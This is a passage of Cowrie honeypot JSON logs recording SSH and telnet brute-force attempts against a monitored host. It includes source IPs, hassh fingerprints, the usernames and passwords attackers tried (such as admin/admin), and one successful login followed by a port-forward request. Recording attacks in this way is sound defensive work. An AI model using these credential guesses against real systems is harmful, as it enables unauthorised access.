sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:20:44.070907Z","src_ip":"159.203.92.129","session":"2cc6795a5439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"tizi@123","message":"login attempt [admin/tizi@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:20:44.081279Z","src_ip":"159.203.92.129","session":"2cc6795a5439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:20:45.087886Z","src_ip":"159.203.92.129","session":"2cc6795a5439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27254,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d82aae33edb","protocol":"ssh","message":"New connection: 87.251.64.176:27254 (10.17.0.5:22) [session: 9d82aae33edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:25.511057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:25.516305Z","src_ip":"87.251.64.176","session":"9d82aae33edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:25.616358Z","src_ip":"87.251.64.176","session":"9d82aae33edb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:25.906307Z","src_ip":"87.251.64.176","session":"9d82aae33edb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:26.005968Z","session":"9d82aae33edb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:26.104433Z","src_ip":"87.251.64.176","session":"9d82aae33edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:26.204271Z","src_ip":"87.251.64.176","session":"9d82aae33edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56602,"dst_ip":"159.203.135.109","dst_port":22,"session":"f55c3f5a31dc","protocol":"ssh","message":"New connection: 159.203.92.129:56602 (159.203.135.109:22) [session: f55c3f5a31dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:28.512453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:28.517318Z","src_ip":"159.203.92.129","session":"f55c3f5a31dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:28.522305Z","src_ip":"159.203.92.129","session":"f55c3f5a31dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"turbine!666","message":"login attempt [admin/turbine!666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:28.532429Z","src_ip":"159.203.92.129","session":"f55c3f5a31dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:21:29.540495Z","src_ip":"159.203.92.129","session":"f55c3f5a31dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51696,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8f6b4e30b29","protocol":"ssh","message":"New connection: 159.203.92.129:51696 (159.203.135.109:22) [session: c8f6b4e30b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:10.632939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:10.638266Z","src_ip":"159.203.92.129","session":"c8f6b4e30b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:10.643143Z","src_ip":"159.203.92.129","session":"c8f6b4e30b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"tydyb98","message":"login attempt [admin/tydyb98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:10.652501Z","src_ip":"159.203.92.129","session":"c8f6b4e30b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:11.658392Z","src_ip":"159.203.92.129","session":"c8f6b4e30b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":45608,"dst_ip":"159.203.135.109","dst_port":23,"session":"beee9526178d","protocol":"telnet","message":"New connection: 74.87.1.54:45608 (159.203.135.109:23) [session: beee9526178d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:19.221798Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":46237,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6694e308129","protocol":"telnet","message":"New connection: 74.87.1.54:46237 (159.203.135.109:23) [session: f6694e308129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:44.007941Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41196,"dst_ip":"159.203.135.109","dst_port":22,"session":"e95af580076b","protocol":"ssh","message":"New connection: 159.203.92.129:41196 (159.203.135.109:22) [session: e95af580076b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:52.403488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:52.407644Z","src_ip":"159.203.92.129","session":"e95af580076b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:52.411834Z","src_ip":"159.203.92.129","session":"e95af580076b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ubiwei82394,c","message":"login attempt [admin/ubiwei82394,c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:52.426875Z","src_ip":"159.203.92.129","session":"e95af580076b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:22:53.433600Z","src_ip":"159.203.92.129","session":"e95af580076b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":48038,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8dd06f3f1c0","protocol":"telnet","message":"New connection: 74.87.1.54:48038 (159.203.135.109:23) [session: d8dd06f3f1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:23:30.948033Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49820,"dst_ip":"159.203.135.109","dst_port":22,"session":"f15230a0ba27","protocol":"ssh","message":"New connection: 159.203.92.129:49820 (159.203.135.109:22) [session: f15230a0ba27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:23:32.404362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:23:32.409468Z","src_ip":"159.203.92.129","session":"f15230a0ba27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:23:32.414172Z","src_ip":"159.203.92.129","session":"f15230a0ba27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ubt-NF5280M5","message":"login attempt [admin/ubt-NF5280M5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:23:32.429273Z","src_ip":"159.203.92.129","session":"f15230a0ba27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:23:33.436254Z","src_ip":"159.203.92.129","session":"f15230a0ba27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":48418,"dst_ip":"159.203.135.109","dst_port":23,"session":"1abd9ad751d1","protocol":"telnet","message":"New connection: 74.87.1.54:48418 (159.203.135.109:23) [session: 1abd9ad751d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:23:44.048316Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":48646,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0e2479b905e","protocol":"telnet","message":"New connection: 74.87.1.54:48646 (159.203.135.109:23) [session: f0e2479b905e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:00.211829Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":48911,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ec2a7acf720","protocol":"telnet","message":"New connection: 74.87.1.54:48911 (159.203.135.109:23) [session: 5ec2a7acf720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:10.714184Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42336,"dst_ip":"159.203.135.109","dst_port":22,"session":"5607b992b149","protocol":"ssh","message":"New connection: 159.203.92.129:42336 (159.203.135.109:22) [session: 5607b992b149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:12.882495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:12.887267Z","src_ip":"159.203.92.129","session":"5607b992b149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:12.892818Z","src_ip":"159.203.92.129","session":"5607b992b149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ubuntu","message":"login attempt [admin/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:12.908397Z","src_ip":"159.203.92.129","session":"5607b992b149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:13.916728Z","src_ip":"159.203.92.129","session":"5607b992b149","protocol":"ssh"}
